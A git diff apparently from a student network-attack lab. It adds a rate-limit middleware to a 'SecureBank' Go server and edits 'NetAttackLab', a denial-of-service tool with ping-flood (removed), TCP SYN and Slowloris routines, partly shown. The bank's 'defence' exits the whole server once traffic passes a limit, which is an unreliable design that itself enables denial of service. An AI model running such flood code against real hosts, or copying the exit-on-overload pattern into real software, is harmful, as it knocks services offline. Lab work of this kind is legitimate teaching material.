diff --git a/bank/dist/securebank-linux b/bank/dist/securebank-linux new file mode 100755 index 0000000..4504df9 Binary files /dev/null and b/bank/dist/securebank-linux differ diff --git a/bank/dist/securebank-macos b/bank/dist/securebank-macos new file mode 100755 index 0000000..148d87f Binary files /dev/null and b/bank/dist/securebank-macos differ diff --git a/bank/dist/securebank-windows.exe b/bank/dist/securebank-windows.exe index e950063..4504df9 100755 Binary files a/bank/dist/securebank-windows.exe and b/bank/dist/securebank-windows.exe differ diff --git a/bank/main.go b/bank/main.go index c04fbba..943bab7 100644 --- a/bank/main.go +++ b/bank/main.go @@ -7,8 +7,11 @@ import ( "html/template" "io/fs" "log" + "net" "net/http" + "os" "sync" + "time" ) //go:embed templates/* @@ -58,6 +61,7 @@ func addUser(username, password, email, fullName string) { func main() { // Nastavimo port preko command line argumenta var port = flag.String("port", "8080", "Port na katerem se bo zagnal server") + var rateLimit = flag.Int("rate-limit", 3000, "Maksimalno število zahtev na sekundo") flag.Parse() // Naložimo HTML predloge iz embedded FS @@ -67,29 +71,140 @@ func main() { log.Fatal("Napaka pri nalaganju embedded predlog:", err) } + // Create rate killer first + killer := newRateKiller(*rateLimit) + + // Start network attack monitors with direct access to killer + go monitorTCP(killer) + go monitorUDP(killer) + // Statične datoteke iz embedded FS staticSubFS, err := fs.Sub(staticFS, "static") if err != nil { log.Fatal("Napaka pri ustvarjanju static subFS:", err) } - http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.FS(staticSubFS)))) + mux := http.NewServeMux() + mux.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.FS(staticSubFS)))) // Routes - http.HandleFunc("/", homeHandler) - http.HandleFunc("/register", registerHandler) - http.HandleFunc("/login", loginHandler) - http.HandleFunc("/dashboard", dashboardHandler) - http.HandleFunc("/logout", logoutHandler) + mux.HandleFunc("/", homeHandler) + mux.HandleFunc("/register", registerHandler) + mux.HandleFunc("/login", loginHandler) + mux.HandleFunc("/dashboard", dashboardHandler) + mux.HandleFunc("/logout", logoutHandler) // Zagon strežnika fmt.Printf("🏦 SecureBank aplikacija (embedded build)\n") fmt.Printf("Port: %s\n", *port) fmt.Printf("HTTP: http://localhost:%s\n", *port) + fmt.Printf("Rate Limit: %d req/sec\n", *rateLimit) fmt.Printf("📦 Vsi fajli so vključeni v binary!\n") fmt.Println() serverAddr := ":" + *port - log.Fatal(http.ListenAndServe(serverAddr, nil)) + log.Fatal(http.ListenAndServe(serverAddr, killer.wrap(mux))) +} + +type rateKiller struct { + limit int + mu sync.Mutex + window time.Time + count int +} + +func newRateKiller(limit int) *rateKiller { + rk := &rateKiller{ + limit: limit, + window: time.Now().Truncate(time.Second), + } + // Reset counter every second + go rk.resetCounter() + return rk +} + +func (rk *rateKiller) wrap(next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + rk.mu.Lock() + nowWindow := time.Now().Truncate(time.Second) + if nowWindow.After(rk.window) { + rk.window = nowWindow + rk.count = 0 + } + rk.count++ + exceeded := rk.count > rk.limit + rk.mu.Unlock() + + if exceeded { + log.Printf("CRITICAL: request rate exceeded %d req/s - shutting down", rk.limit) + os.Exit(1) + } + + next.ServeHTTP(w, r) + }) +} + +func (rk *rateKiller) recordPacket() { + rk.mu.Lock() + rk.count++ + current := rk.count + rk.mu.Unlock() + + if current > rk.limit { + log.Printf("CRITICAL: attack detected - %d packets/sec exceeded limit of %d - SHUTTING DOWN", current, rk.limit) + os.Exit(1) + } +} + +func (rk *rateKiller) resetCounter() { + ticker := time.NewTicker(time.Second) + defer ticker.Stop() + for range ticker.C { + rk.mu.Lock() + if rk.count > 0 { + log.Printf("📊 Rate: %d packets/sec (limit: %d)", rk.count, rk.limit) + } + rk.count = 0 + rk.window = time.Now().Truncate(time.Second) + rk.mu.Unlock() + } +} + +func monitorTCP(killer *rateKiller) { + listener, err := net.Listen("tcp", ":80") + if err != nil { + log.Printf("Warning: TCP monitor on :80 failed: %v", err) + return + } + defer listener.Close() + log.Println("🔍 TCP attack monitor active on :80") + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + killer.recordPacket() + conn.Close() + } +} + +func monitorUDP(killer *rateKiller) { + conn, err := net.ListenPacket("udp", ":53") + if err != nil { + log.Printf("Warning: UDP monitor on :53 failed: %v", err) + return + } + defer conn.Close() + log.Println("🔍 UDP attack monitor active on :53") + + buf := make([]byte, 1024) + for { + _, _, err := conn.ReadFrom(buf) + if err != nil { + continue + } + killer.recordPacket() + } } func homeHandler(w http.ResponseWriter, r *http.Request) { diff --git a/bank/dist/securebank-embedded b/ping_of_death/dist/netattack-linux similarity index 63% rename from bank/dist/securebank-embedded rename to ping_of_death/dist/netattack-linux index 07fee85..9a1be5a 100755 Binary files a/bank/dist/securebank-embedded and b/ping_of_death/dist/netattack-linux differ diff --git a/ping_of_death/dist/netattack-lab b/ping_of_death/dist/netattack-macos similarity index 74% rename from ping_of_death/dist/netattack-lab rename to ping_of_death/dist/netattack-macos index df4a8df..0f7d570 100755 Binary files a/ping_of_death/dist/netattack-lab and b/ping_of_death/dist/netattack-macos differ diff --git a/ping_of_death/dist/netattack-windows.exe b/ping_of_death/dist/netattack-windows.exe index 1800872..4bf6e2d 100755 Binary files a/ping_of_death/dist/netattack-windows.exe and b/ping_of_death/dist/netattack-windows.exe differ diff --git a/ping_of_death/main.go b/ping_of_death/main.go index 483e743..2c23aab 100644 --- a/ping_of_death/main.go +++ b/ping_of_death/main.go @@ -260,12 +260,6 @@ func runAttack(ctx context.Context, session *AttackSession) { case <-ticker.C: go func() { switch session.Type { - case "ping_flood": - if err := sendPing(session.Target); err == nil { - atomic.AddInt32(&session.Success, 1) - } else { - atomic.AddInt32(&session.Failed, 1) - } case "tcp_syn": if err := sendTCPSyn(session.Target); err == nil { atomic.AddInt32(&session.Success, 1) @@ -290,18 +284,6 @@ func runAttack(ctx context.Context, session *AttackSession) { } } -func sendPing(target string) error { - conn, err := net.Dial("ip4:icmp", target) - if err != nil { - return err - } - defer conn.Close() - - // Simple ICMP echo request simulation - _, err = conn.Write([]byte{8, 0, 0, 0, 0, 1, 0, 1}) - return err -} - func sendTCPSyn(target string) error { conn, err := net.DialTimeout("tcp", target+":80", 1*time.Second) if err != nil { @@ -344,12 +326,10 @@ func sendSlowloris(target string) error { // Send additional headers slowly to keep connection alive for i := 0; i < 6; i++ { // Keep alive for 60 seconds - select { - case <-ticker.C: - _, err := conn.Write([]byte(fmt.Sprintf("X-Custom-Header-%d: value\r\n", i))) - if err != nil { - return - } + <-ticker.C + _, err := conn.Write([]byte(fmt.Sprintf("X-Custom-Header-%d: value\r\n", i))) + if err != nil { + return } } // Finally close the request diff --git a/ping_of_death/static/app.js b/ping_of_death/static/app.js index 2d76677..efe11af 100644 --- a/ping_of_death/static/app.js +++ b/ping_of_death/static/app.js @@ -3,6 +3,7 @@ class NetAttackLab { constructor() { this.activeAttacks = new Map(); + this.progressIntervals = new Map(); this.sessionUpdateInterval = null; this.init(); } @@ -248,8 +249,8 @@ class NetAttackLab { stopBtn.disabled = false; // Add attack start log - this.addLog('attack-logs', `🔥 Initiating ${type} attack on ${target}`, 'warning'); - this.addLog('attack-logs', `⚙️ Parameters: ${duration}s duration, ${intensity} req/sec`, 'info'); + this.addLog('attack-logs', `🔥 Začetek ${type} napada na ${target}`, 'warning'); + this.addLog('attack-logs', `⚙️ Parametri: ${duration}s trajanje, ${intensity} req/sec`, 'info'); const result = await this.makeRequest('/api/attack', { target, @@ -259,11 +260,11 @@ class NetAttackLab { }); if (result.error) { - this.addLog('attack-logs', `❌ Attack failed to start: ${result.error}`, 'error'); + this.addLog('attack-logs', `❌ Napad ni uspel: ${result.error}`, 'error'); attackBtn.disabled = false; stopBtn.disabled = true; } else { - this.addLog('attack-logs', `✅ Attack session ${result.sessionId} started`, 'success'); + this.addLog('attack-logs', `✅ Napadna seja ${result.sessionId} je začela`, 'success'); this.activeAttacks.set(result.sessionId, { target, type, @@ -278,6 +279,13 @@ class NetAttackLab { trackAttackProgress(sessionId, duration) { let elapsed = 0; const progressInterval = setInterval(() => { + // Check if attack was stopped + if (!this.activeAttacks.has(sessionId)) { + clearInterval(progressInterval); + this.progressIntervals.delete(sessionId); + return; + } + elapsed++; const remaining = duration - elapsed; @@ -286,6 +294,7 @@ class NetAttackLab { } else { this.addLog('attack-logs', `🏁 Attack session ${sessionId} completed`, 'success'); clearInterval(progressInterval); + this.progressIntervals.delete(sessionId); // Re-enable attack button document.getElementById('attack-btn').disabled = false; @@ -296,21 +305,31 @@ class NetAttackLab { this.activeAttacks.delete(sessionId); } }, 1000); + + // Store interval ID + this.progressIntervals.set(sessionId, progressInterval); } async stopAllAttacks() { - this.addLog('attack-logs', '🛑 Emergency stop initiated...', 'warning'); + this.addLog('attack-logs', '🛑 Nujna ustavitev v teku...', 'warning'); for (const sessionId of this.activeAttacks.keys()) { await this.makeRequest('/api/stop', { sessionId }); this.addLog('attack-logs', `🛑 Session ${sessionId} stopped`, 'info'); + + // Clear progress interval + const interval = this.progressIntervals.get(sessionId); + if (interval) { + clearInterval(interval); + this.progressIntervals.delete(sessionId); + } } this.activeAttacks.clear(); document.getElementById('attack-btn').disabled = false; document.getElementById('stop-btn').disabled = true; - this.addLog('attack-logs', '✅ All attacks stopped', 'success'); + this.addLog('attack-logs', '✅ Vsi napadi prekinjeni', 'success'); } // Session Monitoring @@ -386,6 +405,15 @@ class NetAttackLab { async stopSession(sessionId) { await this.makeRequest('/api/stop', { sessionId }); this.addLog('attack-logs', `🛑 Session ${sessionId} stopped manually`, 'warning'); + + // Clear progress interval + const interval = this.progressIntervals.get(sessionId); + if (interval) { + clearInterval(interval); + this.progressIntervals.delete(sessionId); + } + + this.activeAttacks.delete(sessionId); this.updateSessionsTable(); } } diff --git a/ping_of_death/templates/index.html b/ping_of_death/templates/index.html index 56e7316..ecf121a 100644 --- a/ping_of_death/templates/index.html +++ b/ping_of_death/templates/index.html @@ -92,7 +92,6 @@